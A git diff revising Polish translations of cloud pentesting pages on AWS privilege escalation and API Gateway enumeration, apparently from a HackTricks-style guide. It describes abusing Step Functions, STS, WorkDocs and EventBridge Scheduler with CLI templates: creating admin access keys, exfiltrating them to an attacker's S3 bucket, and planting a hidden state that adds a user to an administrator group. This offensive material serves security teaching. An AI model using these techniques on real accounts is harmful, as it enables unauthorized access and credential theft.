-Napastnik z uprawnieniami **`states:TestState`** i **`iam:PassRole`** może testować dowolny stan i przekazywać do niego dowolną rolę IAM bez tworzenia lub aktualizowania istniejącej maszyny stanów, co umożliwia nieautoryzowany dostęp do innych usług AWS z uprawnieniami ról. W połączeniu te uprawnienia mogą prowadzić do szerokich nieautoryzowanych działań, od manipulacji przepływami pracy po modyfikację danych, naruszenia danych, manipulację zasobami i eskalację uprawnień.
+Atakujący z uprawnieniami **`states:TestState`** i **`iam:PassRole`** może testować dowolny stan i przekazywać do niego dowolną rolę IAM bez tworzenia lub aktualizowania istniejącej maszyny stanów, co umożliwia nieautoryzowany dostęp do innych usług AWS z uprawnieniami ról. W połączeniu te uprawnienia mogą prowadzić do szerokich nieautoryzowanych działań, od manipulacji przepływami pracy po modyfikację danych, naruszenia danych, manipulację zasobami i eskalację uprawnień.
 ```bash
 aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
 ```
-Przykłady te pokazują, jak przetestować stan, który tworzy klucz dostępu dla użytkownika **`admin`**, wykorzystując te uprawnienia i permissywną rolę w środowisku AWS. Ta permissywna rola powinna mieć przypisaną jakąkolwiek politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala stanowi na wykonanie akcji **`iam:CreateAccessKey`**:
+Przykłady poniżej pokazują, jak przetestować stan, który tworzy klucz dostępu dla użytkownika **`admin`**, wykorzystując te uprawnienia i permissywną rolę w środowisku AWS. Ta permissywna rola powinna mieć przypisaną jakąkolwiek politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala stanowi na wykonanie akcji **`iam:CreateAccessKey`**:
 
 - **stateDefinition.json**:
 ```json
@@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
 
 ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
 
-Atakujący z uprawnieniami **`states:CreateStateMachine`**& **`iam:PassRole`** mógłby stworzyć maszynę stanów i przypisać jej dowolną rolę IAM, co umożliwiłoby nieautoryzowany dostęp do innych usług AWS z uprawnieniami tej roli. W przeciwieństwie do poprzedniej techniki eskalacji uprawnień (**`states:TestState`** & **`iam:PassRole`**), ta nie wykonuje się sama, będziesz również potrzebować uprawnień **`states:StartExecution`** lub **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nie jest dostępne dla standardowych przepływów pracy**, **tylko dla maszyn stanów wyrażających**) w celu rozpoczęcia wykonania na maszynie stanów.
+Atakujący z uprawnieniami **`states:CreateStateMachine`** i **`iam:PassRole`** mógłby stworzyć maszynę stanów i przypisać jej dowolną rolę IAM, co umożliwia nieautoryzowany dostęp do innych usług AWS z uprawnieniami tej roli. W przeciwieństwie do poprzedniej techniki privesc (**`states:TestState`** i **`iam:PassRole`**), ta nie wykonuje się sama, będziesz również potrzebować uprawnień **`states:StartExecution`** lub **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nie jest dostępne dla standardowych przepływów pracy**, **tylko dla maszyn stanów wyrażających**) w celu rozpoczęcia wykonania maszyny stanów.
 ```bash
 # Create a state machine
 aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
@@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
 # Start a Synchronous Express state machine execution
 aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
 ```
-Przykłady te pokazują, jak stworzyć maszynę stanów, która tworzy klucz dostępu dla użytkownika **`admin`** i eksfiltruje ten klucz dostępu do kontrolowanego przez atakującego koszyka S3, wykorzystując te uprawnienia oraz permissywną rolę środowiska AWS. Ta permissywna rola powinna mieć przypisaną jakąkolwiek politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala maszynie stanów na wykonanie akcji **`iam:CreateAccessKey`** i **`s3:putObject`**.
+Przykłady poniżej pokazują, jak stworzyć maszynę stanów, która tworzy klucz dostępu dla użytkownika **`admin`** i eksfiltruje ten klucz dostępu do kontrolowanego przez atakującego koszyka S3, wykorzystując te uprawnienia oraz permissywną rolę w środowisku AWS. Ta permissywna rola powinna mieć przypisaną jakąkolwiek politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala maszynie stanów na wykonanie akcji **`iam:CreateAccessKey`** i **`s3:putObject`**.
 
 - **stateMachineDefinition.json**:
 ```json
@@ -132,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
 }
 ```
 > [!WARNING]
-> Kontrolowany przez atakującego bucket S3 powinien mieć uprawnienia do akceptowania akcji s3:PutObject z konta ofiary.
+> Bucket S3 kontrolowany przez atakującego powinien mieć uprawnienia do akceptowania akcji s3:PutObject z konta ofiary.
 
 **Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulacja przepływami pracy oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa.
 
 ### `states:UpdateStateMachine` & (nie zawsze wymagane) `iam:PassRole`
 
-Atakujący z uprawnieniem **`states:UpdateStateMachine`** mógłby zmodyfikować definicję maszyny stanów, mając możliwość dodania dodatkowych ukrytych stanów, które mogłyby prowadzić do eskalacji uprawnień. W ten sposób, gdy legalny użytkownik rozpocznie wykonanie maszyny stanów, ten nowy złośliwy ukryty stan zostanie wykonany, a eskalacja uprawnień zakończy się sukcesem.
+Atakujący z uprawnieniem **`states:UpdateStateMachine`** mógłby zmodyfikować definicję maszyny stanów, dodając dodatkowe ukryte stany, które mogłyby prowadzić do eskalacji uprawnień. W ten sposób, gdy legalny użytkownik rozpocznie wykonanie maszyny stanów, ten nowy złośliwy ukryty stan zostanie wykonany, a eskalacja uprawnień zakończy się sukcesem.
 
 W zależności od tego, jak permissywna jest rola IAM związana z maszyną stanów, atakujący napotka 2 sytuacje:
 
-1. **Permissywna rola IAM**: Jeśli rola IAM związana z maszyną stanów jest już permissywna (ma na przykład dołączoną politykę **`arn:aws:iam::aws:policy/AdministratorAccess`**), to uprawnienie **`iam:PassRole`** nie byłoby wymagane do eskalacji uprawnień, ponieważ nie byłoby konieczne aktualizowanie roli IAM, wystarczy definicja maszyny stanów.
-2. **Niepermissywna rola IAM**: W przeciwieństwie do poprzedniego przypadku, tutaj atakujący również wymagałby uprawnienia **`iam:PassRole`**, ponieważ konieczne byłoby powiązanie permissywnej roli IAM z maszyną stanów oprócz modyfikacji definicji maszyny stanów.
+1. **Permisywna rola IAM**: Jeśli rola IAM związana z maszyną stanów jest już permissywna (ma na przykład dołączoną politykę **`arn:aws:iam::aws:policy/AdministratorAccess`**), to uprawnienie **`iam:PassRole`** nie byłoby wymagane do eskalacji uprawnień, ponieważ nie byłoby konieczne aktualizowanie roli IAM, wystarczy definicja maszyny stanów.
+2. **Niepermisywna rola IAM**: W przeciwieństwie do poprzedniego przypadku, tutaj atakujący również wymagałby uprawnienia **`iam:PassRole`**, ponieważ konieczne byłoby powiązanie permissywnej roli IAM z maszyną stanów oprócz modyfikacji definicji maszyny stanów.
 ```bash
 aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
 [--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
 ```
-Przykłady poniżej pokazują, jak zaktualizować legitną maszynę stanów, która wywołuje funkcję Lambda HelloWorld, aby dodać dodatkowy stan, który dodaje użytkownika **`unprivilegedUser`** do grupy IAM **`administrator`**. W ten sposób, gdy legitny użytkownik rozpocznie wykonanie zaktualizowanej maszyny stanów, ten nowy złośliwy stan ukryty zostanie wykonany, a eskalacja uprawnień zakończy się sukcesem.
+Przykłady poniżej pokazują, jak zaktualizować legitną maszynę stanów, która po prostu wywołuje funkcję Lambda HelloWorld, aby dodać dodatkowy stan, który dodaje użytkownika **`unprivilegedUser`** do grupy IAM **`administrator`**. W ten sposób, gdy legitny użytkownik rozpocznie wykonanie zaktualizowanej maszyny stanów, ten nowy złośliwy stan ukryty zostanie wykonany, a eskalacja uprawnień zakończy się sukcesem.
 
 > [!WARNING]
-> Jeśli maszyna stanów nie ma przypisanego permissywnego roli IAM, wymagane będzie również uprawnienie **`iam:PassRole`** do zaktualizowania roli IAM w celu przypisania permissywnej roli IAM (na przykład jednej z polityką **`arn:aws:iam::aws:policy/AdministratorAccess`** dołączoną).
+> Jeśli maszyna stanów nie ma przypisanego permissywnego roli IAM, wymagane będzie również uprawnienie **`iam:PassRole`** do zaktualizowania roli IAM w celu przypisania permissywnej roli IAM (na przykład jednej z dołączoną polityką **`arn:aws:iam::aws:policy/AdministratorAccess`**).
 
 {{#tabs }}
 {{#tab name="Legit State Machine" }}
@@ -181,7 +181,7 @@ Przykłady poniżej pokazują, jak zaktualizować legitną maszynę stanów, kt
 ```
 {{#endtab }}
 
-{{#tab name="Złośliwa zaktualizowana maszyna stanów" }}
+{{#tab name="Złośliwa Zaktualizowana Maszyna Stanów" }}
 ```json
 {
 "Comment": "Hello world from Lambda state machine",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
index 373248ae9..0d23d8e93 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md
@@ -23,13 +23,13 @@ Na przykład, poniższa polityka zaufania roli wskazuje, że każdy może ją pr
 ]
 }
 ```
-Możesz udawać rolę, uruchamiając:
+Możesz udawać rolę, wykonując:
 ```bash
 aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
 ```
 **Potencjalny wpływ:** Privesc do roli.
 
-> [!CAUTION]
+> [!OSTRZEŻENIE]
 > Zauważ, że w tym przypadku uprawnienie `sts:AssumeRole` musi być **określone w roli do nadużycia** a nie w polityce należącej do atakującego.\
 > Z jednym wyjątkiem, aby **przyjąć rolę z innego konta** konto atakującego **również musi** mieć **`sts:AssumeRole`** nad rolą.
 
@@ -39,7 +39,7 @@ Dzięki temu uprawnieniu możliwe jest wygenerowanie poświadczeń do podszywani
 ```bash
 aws sts get-federation-token --name <username>
 ```
-To jest sposób, w jaki to uprawnienie można przyznać bezpiecznie, nie dając dostępu do podszywania się pod innych użytkowników:
+W ten sposób można bezpiecznie przyznać to uprawnienie, nie dając dostępu do podszywania się pod innych użytkowników:
 ```json
 {
 "Version": "2012-10-17",
@@ -90,7 +90,7 @@ onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --
 
 ### `sts:AssumeRoleWithWebIdentity`
 
-To uprawnienie pozwala na uzyskanie zestawu tymczasowych poświadczeń bezpieczeństwa dla **użytkowników, którzy zostali uwierzytelnieni w aplikacji mobilnej, aplikacji webowej, EKS...** z dostawcą tożsamości webowej. [Dowiedz się więcej tutaj.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
+To uprawnienie przyznaje pozwolenie na uzyskanie zestawu tymczasowych poświadczeń bezpieczeństwa dla **użytkowników, którzy zostali uwierzytelnieni w aplikacji mobilnej, aplikacji webowej, EKS...** z dostawcą tożsamości webowej. [Dowiedz się więcej tutaj.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
 
 Na przykład, jeśli **konto usługi EKS** powinno być w stanie **udawać rolę IAM**, będzie miało token w **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** i może **przyjąć rolę i uzyskać poświadczenia** wykonując coś takiego:
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
index dc4d2effc..654edeeee 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
@@ -15,7 +15,7 @@ Utwórz użytkownika w wskazanym katalogu, a następnie uzyskasz dostęp zarówn
 # Create user (created inside the AD)
 aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
 ```
-### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`
+### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
 
 Pliki mogą zawierać wrażliwe informacje, przeczytaj je:
 ```bash
@@ -38,7 +38,7 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
 ```
 ### `workdocs:AddUserToGroup`
 
-Możesz uczynić użytkownika administratorem, ustawiając go w grupie ZOCALO_ADMIN.\
+Możesz uczynić użytkownika administratorem, dodając go do grupy ZOCALO_ADMIN.\
 Aby to zrobić, postępuj zgodnie z instrukcjami z [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
 
 Zaloguj się tym użytkownikiem w workdoc i uzyskaj dostęp do panelu administracyjnego w `/workdocs/index.html#/admin`
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
index 7ac004838..72ad909fd 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
@@ -14,7 +14,7 @@ Więcej informacji o EventBridge Scheduler w:
 
 Atakujący z tymi uprawnieniami będzie mógł **`utworzyć`|`zaktualizować` harmonogram i nadużyć uprawnień roli harmonogramu** dołączonej do niego, aby wykonać dowolną akcję.
 
-Na przykład, mogliby skonfigurować harmonogram, aby **wywołać funkcję Lambda**, co jest akcją szablonową:
+Na przykład, mogliby skonfigurować harmonogram, aby **wywołać funkcję Lambda**, co jest działaniem szablonowym:
 ```bash
 aws scheduler create-schedule \
 --name MyLambdaSchedule \
@@ -25,7 +25,7 @@ aws scheduler create-schedule \
 "RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
 }'
 ```
-Oprócz szablonowych działań serwisowych, możesz używać **universal targets** w EventBridge Scheduler, aby wywołać szeroki zakres operacji API dla wielu usług AWS. Universal targets oferują elastyczność w wywoływaniu prawie każdego API. Jednym z przykładów może być użycie universal targets do dodania "**AdminAccessPolicy**", używając roli, która ma politykę "**putRolePolicy**":
+Oprócz zdefiniowanych działań serwisowych, możesz używać **universal targets** w EventBridge Scheduler, aby wywoływać szeroki zakres operacji API dla wielu usług AWS. Universal targets oferują elastyczność w wywoływaniu prawie każdego API. Przykładem może być użycie universal targets do dodania "**AdminAccessPolicy**", używając roli, która ma politykę "**putRolePolicy**":
 ```bash
 aws scheduler create-schedule \
 --name GrantAdminToTargetRoleSchedule \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
index 09081a1ee..9d29816d4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
@@ -19,14 +19,14 @@ Zakładając, że istnieje VPC AWS z wieloma aplikacjami natywnymi w chmurze, kt
 
 Jest to możliwe, ponieważ:
 
-- SDK AWS nie mają [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
+- AWS SDK nie ma [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
 - Route53 pozwala na tworzenie prywatnych stref hostowanych i rekordów DNS dla nazw domen API AWS
 - Prywatna CA w ACM-PCA nie może być ograniczona do podpisywania tylko certyfikatów dla określonych nazw wspólnych
 
 **Potencjalny wpływ:** Pośredni privesc poprzez przechwytywanie wrażliwych informacji w ruchu.
 
-#### Wykorzystanie <a href="#discovery" id="discovery"></a>
+#### Eksploatacja <a href="#discovery" id="discovery"></a>
 
-Znajdź kroki wykorzystania w oryginalnych badaniach: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
+Znajdź kroki eksploatacji w oryginalnych badaniach: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md
index ab5701e3e..59087fda8 100644
--- a/src/pentesting-cloud/aws-security/aws-services/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/README.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Rodzaje usług
+## Typy usług
 
 ### Usługi kontenerowe
 
@@ -10,8 +10,8 @@ Usługi, które mieszczą się w kategorii usług kontenerowych, mają następuj
 
 - Usługa sama w sobie działa na **oddzielnych instancjach infrastruktury**, takich jak EC2.
 - **AWS** jest odpowiedzialne za **zarządzanie systemem operacyjnym i platformą**.
-- Usługa zarządzana jest dostarczana przez AWS, która zazwyczaj jest samą usługą dla **rzeczywistej aplikacji, która jest postrzegana jako kontenery**.
-- Jako użytkownik tych usług kontenerowych masz szereg odpowiedzialności związanych z zarządzaniem i bezpieczeństwem, w tym **zarządzanie bezpieczeństwem dostępu do sieci, takimi jak zasady listy kontroli dostępu do sieci i wszelkie zapory**.
+- Usługa zarządzana jest dostarczana przez AWS, która zazwyczaj jest samą usługą dla **rzeczywistej aplikacji, która jest postrzegana jako kontener**.
+- Jako użytkownik tych usług kontenerowych masz szereg obowiązków związanych z zarządzaniem i bezpieczeństwem, w tym **zarządzanie bezpieczeństwem dostępu do sieci, takimi jak zasady listy kontroli dostępu do sieci i wszelkie zapory**.
 - Ponadto, zarządzanie tożsamością i dostępem na poziomie platformy, gdzie to istnieje.
 - **Przykłady** usług kontenerowych AWS to Relational Database Service, Elastic Mapreduce i Elastic Beanstalk.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
index 47d9bc982..53a103108 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
@@ -8,12 +8,12 @@
 
 AWS API Gateway to kompleksowa usługa oferowana przez Amazon Web Services (AWS), zaprojektowana dla programistów do **tworzenia, publikowania i nadzorowania API na dużą skalę**. Działa jako punkt wejścia do aplikacji, pozwalając programistom na ustanowienie ram zasad i procedur. Ta struktura reguluje dostęp zewnętrznych użytkowników do określonych danych lub funkcjonalności w aplikacji.
 
-API Gateway umożliwia zdefiniowanie **jak żądania do twoich API powinny być obsługiwane**, i może tworzyć niestandardowe punkty końcowe API z określonymi metodami (np. GET, POST, PUT, DELETE) i zasobami. Może również generować zestawy SDK (Software Development Kits) dla klientów, aby ułatwić programistom wywoływanie twoich API z ich aplikacji.
+API Gateway umożliwia zdefiniowanie **jak żądania do twoich API powinny być obsługiwane**, a także może tworzyć niestandardowe punkty końcowe API z określonymi metodami (np. GET, POST, PUT, DELETE) i zasobami. Może również generować zestawy SDK (Software Development Kits) dla klientów, aby ułatwić programistom wywoływanie twoich API z ich aplikacji.
 
-### Typy API Gateway
+### Typy bramek API
 
 - **HTTP API**: Twórz niskolatencyjne i opłacalne REST API z wbudowanymi funkcjami takimi jak OIDC i OAuth2 oraz natywnym wsparciem CORS. Działa z następującymi: Lambda, HTTP backends.
-- **WebSocket API**: Twórz API WebSocket używając stałych połączeń do zastosowań w czasie rzeczywistym, takich jak aplikacje czatu lub pulpity nawigacyjne. Działa z następującymi: Lambda, HTTP, AWS Services.
+- **WebSocket API**: Twórz API WebSocket z użyciem stałych połączeń do zastosowań w czasie rzeczywistym, takich jak aplikacje czatu lub pulpity nawigacyjne. Działa z następującymi: Lambda, HTTP, AWS Services.
 - **REST API**: Rozwijaj REST API, w którym masz pełną kontrolę nad żądaniem i odpowiedzią oraz możliwościami zarządzania API. Działa z następującymi: Lambda, HTTP, AWS Services.
 - **REST API Prywatne**: Twórz REST API, które jest dostępne tylko z wewnątrz VPC.
 
@@ -22,18 +22,18 @@ API Gateway umożliwia zdefiniowanie **jak żądania do twoich API powinny być
 1. **Zasoby**: W API Gateway zasoby to komponenty, które **tworzą strukturę twojego API**. Reprezentują **różne ścieżki lub punkty końcowe** twojego API i odpowiadają różnym akcjom, które twoje API obsługuje. Zasobem jest każda metoda (np. GET, POST, PUT, DELETE) **w każdej ścieżce** (/, lub /users, lub /user/{id}).
 2. **Etapy**: Etapy w API Gateway reprezentują **różne wersje lub środowiska** twojego API, takie jak rozwój, testowanie lub produkcja. Możesz używać etapów do zarządzania i wdrażania **wielu wersji twojego API jednocześnie**, co pozwala na testowanie nowych funkcji lub poprawek błędów bez wpływu na środowisko produkcyjne. Etapy również **obsługują zmienne etapu**, które są parami klucz-wartość, które mogą być używane do konfigurowania zachowania twojego API w zależności od aktualnego etapu. Na przykład, możesz użyć zmiennych etapu do kierowania żądań API do różnych funkcji Lambda lub innych usług backendowych w zależności od etapu.
 - Etap jest wskazywany na początku URL punktu końcowego API Gateway.
-3. **Autoryzatory**: Autoryzatory w API Gateway są odpowiedzialne za **kontrolowanie dostępu do twojego API** poprzez weryfikację tożsamości wywołującego przed pozwoleniem na kontynuację żądania. Możesz używać **funkcji AWS Lambda** jako niestandardowych autoryzatorów, co pozwala na wdrożenie własnej logiki uwierzytelniania i autoryzacji. Gdy żądanie przychodzi, API Gateway przekazuje token autoryzacji żądania do autoryzatora Lambda, który przetwarza token i zwraca politykę IAM, która określa, jakie działania wywołujący może wykonać. API Gateway obsługuje również **wbudowane autoryzatory**, takie jak **AWS Identity and Access Management (IAM)** i **Amazon Cognito**.
-4. **Polityka zasobów**: Polityka zasobów w API Gateway to dokument JSON, który **definiuje uprawnienia do dostępu do twojego API**. Jest podobna do polityki IAM, ale specjalnie dostosowana do API Gateway. Możesz użyć polityki zasobów, aby kontrolować, kto może uzyskać dostęp do twojego API, które metody mogą wywoływać i z jakich adresów IP lub VPC mogą się łączyć. **Polityki zasobów mogą być używane w połączeniu z autoryzatorami** w celu zapewnienia precyzyjnej kontroli dostępu do twojego API.
+3. **Autoryzatory**: Autoryzatory w API Gateway są odpowiedzialne za **kontrolowanie dostępu do twojego API** poprzez weryfikację tożsamości wywołującego przed pozwoleniem na kontynuację żądania. Możesz używać **funkcji AWS Lambda** jako niestandardowych autoryzatorów, co pozwala na wdrożenie własnej logiki uwierzytelniania i autoryzacji. Gdy przychodzi żądanie, API Gateway przekazuje token autoryzacji żądania do autoryzatora Lambda, który przetwarza token i zwraca politykę IAM, która określa, jakie działania wywołujący może wykonać. API Gateway obsługuje również **wbudowane autoryzatory**, takie jak **AWS Identity and Access Management (IAM)** i **Amazon Cognito**.
+4. **Polityka zasobów**: Polityka zasobów w API Gateway to dokument JSON, który **definiuje uprawnienia do dostępu do twojego API**. Jest podobna do polityki IAM, ale specjalnie dostosowana do API Gateway. Możesz użyć polityki zasobów, aby kontrolować, kto może uzyskać dostęp do twojego API, które metody mogą wywoływać i z jakich adresów IP lub VPC mogą się łączyć. **Polityki zasobów mogą być używane w połączeniu z autoryzatorami**, aby zapewnić szczegółową kontrolę dostępu do twojego API.
 - Aby wprowadzić zmiany, API musi być **ponownie wdrożone po** modyfikacji polityki zasobów.
 
 ### Logowanie
 
-Domyślnie **CloudWatch Logs** są **wyłączone**, **Logowanie dostępu** jest **wyłączone**, a **śledzenie X-Ray** jest również **wyłączone**.
+Domyślnie **CloudWatch Logs** są **wyłączone**, **logowanie dostępu** jest **wyłączone**, a **śledzenie X-Ray** jest również **wyłączone**.
 
 ### Enumeracja
 
 > [!TIP]
-> Zauważ, że w obu API AWS do enumeracji zasobów (**`apigateway`** i **`apigatewayv2`**) jedynym uprawnieniem, którego potrzebujesz i jedynym przyznawanym uprawnieniem do odczytu jest **`apigateway:GET`**, dzięki czemu możesz **enumerować wszystko.**
+> Zauważ, że w obu API AWS do enumeracji zasobów (**`apigateway`** i **`apigatewayv2`**) jedynym uprawnieniem, którego potrzebujesz i jedynym uprawnieniem do odczytu, które można przyznać, jest **`apigateway:GET`**, dzięki czemu możesz **enumerować wszystko.**
 
 {{#tabs }}
 {{#tab name="apigateway" }}
@@ -128,14 +128,14 @@ https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource>
 
 ### Polityka zasobów
 
-Możliwe jest użycie polityk zasobów do zdefiniowania, kto może wywoływać punkty końcowe API.\
-W poniższym przykładzie widać, że **wskazany adres IP nie może wywołać** punktu końcowego `/resource_policy` za pomocą metody GET.
+Możliwe jest użycie polityk zasobów do zdefiniowania, kto może wywołać punkty końcowe API.\
+W poniższym przykładzie widać, że **wskazany adres IP nie może wywołać** punktu końcowego `/resource_policy` za pomocą GET.
 
 <figure><img src="../../../images/image (256).png" alt=""><figcaption></figcaption></figure>
 
 ### Autoryzator IAM
 
-Możliwe jest ustawienie, że metody w ścieżce (zasobie) wymagają uwierzytelnienia IAM do ich wywołania.
+Możliwe jest ustawienie, że metody w obrębie ścieżki (zasobu) wymagają uwierzytelnienia IAM do ich wywołania.
 
 <figure><img src="https://lh3.googleusercontent.com/GGx-kfqNXu6zMqGidnO8_eR88fYPpJG-wNuBBnedAJntiRUEPTEScl7OvWthGYRiI_msYCdC6oBFvJc827Tb4-4UogxpOyrEXyst-8IDzP9DC2NOtXSY7w58L0baCAcBQjSyvBhJREvWWCtiboNYPSKuEw=s2048" alt=""><figcaption></figcaption></figure>
 
@@ -149,7 +149,7 @@ Innym sposobem jest użycie typu **`Authorization`** **`AWS Signature`** w **Pos
 
 <figure><img src="../../../images/image (168).png" alt=""><figcaption></figcaption></figure>
 
-Ustaw accessKey i SecretKey konta, którego chcesz użyć, a następnie możesz uwierzytelnić się w punkcie końcowym API.
+Ustaw accessKey i SecretKey konta, którego chcesz użyć, a będziesz mógł uwierzytelnić się w punkcie końcowym API.
 
 Obie metody wygenerują nagłówek **Authorization** taki jak:
 ```
@@ -157,7 +157,7 @@ AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/
 ```
 Zauważ, że w innych przypadkach **Authorizer** mógł być **źle zakodowany** i wysłanie **czegokolwiek** w **nagłówku Authorization** **pozwoli zobaczyć ukrytą zawartość**.
 
-### Request Signing Using Python
+### Podpisywanie żądań przy użyciu Pythona
 ```python
 
 pip install requests
@@ -184,14 +184,14 @@ response = requests.get(url, auth=awsauth)
 print(response.text)
 
 ```
-### Custom Lambda Authorizer
+### Niestandardowy autoryzator Lambda
 
 Możliwe jest użycie lambdy, która na podstawie danego tokena **zwróci politykę IAM**, wskazując, czy użytkownik jest **uprawniony do wywołania punktu końcowego API**.\
 Możesz ustawić każdą metodę zasobu, która będzie korzystać z autoryzatora.
 
 <details>
 
-<summary>Przykład kodu Lambda Authorizer</summary>
+<summary>Przykład kodu autoryzatora Lambda</summary>
 ```python
 import json
 
@@ -254,13 +254,13 @@ Możliwe jest ustawienie punktów końcowych API, które **wymagają ważnego kl
 
 <figure><img src="../../../images/image (88).png" alt=""><figcaption></figcaption></figure>
 
-Możliwe jest generowanie kluczy API w portalu API Gateway, a nawet ustawienie, jak często mogą być używane (w kategoriach żądań na sekundę i żądań na miesiąc).
+Możliwe jest generowanie kluczy API w portalu API Gateway, a nawet ustawienie, jak często mogą być używane (w kategoriach żądań na sekundę i w kategoriach żądań na miesiąc).
 
 Aby klucz API działał, musisz dodać go do **Planu Użytkowania**, ten plan użytkowania musi być dodany do **Etapu API**, a powiązany etap API musi mieć skonfigurowane **ograniczenie metod** dla **punktu końcowego** wymagającego klucza API:
 
 <figure><img src="../../../images/image (198).png" alt=""><figcaption></figcaption></figure>
 
-## Nieautoryzowany dostęp
+## Dostęp nieautoryzowany
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
@@ -278,7 +278,7 @@ Aby klucz API działał, musisz dodać go do **Planu Użytkowania**, ten plan u
 ../aws-post-exploitation/aws-api-gateway-post-exploitation.md
 {{#endref}}
 
-## Utrzymywanie
+## Persistence
 
 {{#ref}}
 ../aws-persistence/aws-api-gateway-persistence.md
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md
index 8d196c23e..05da68426 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md
@@ -6,9 +6,9 @@
 
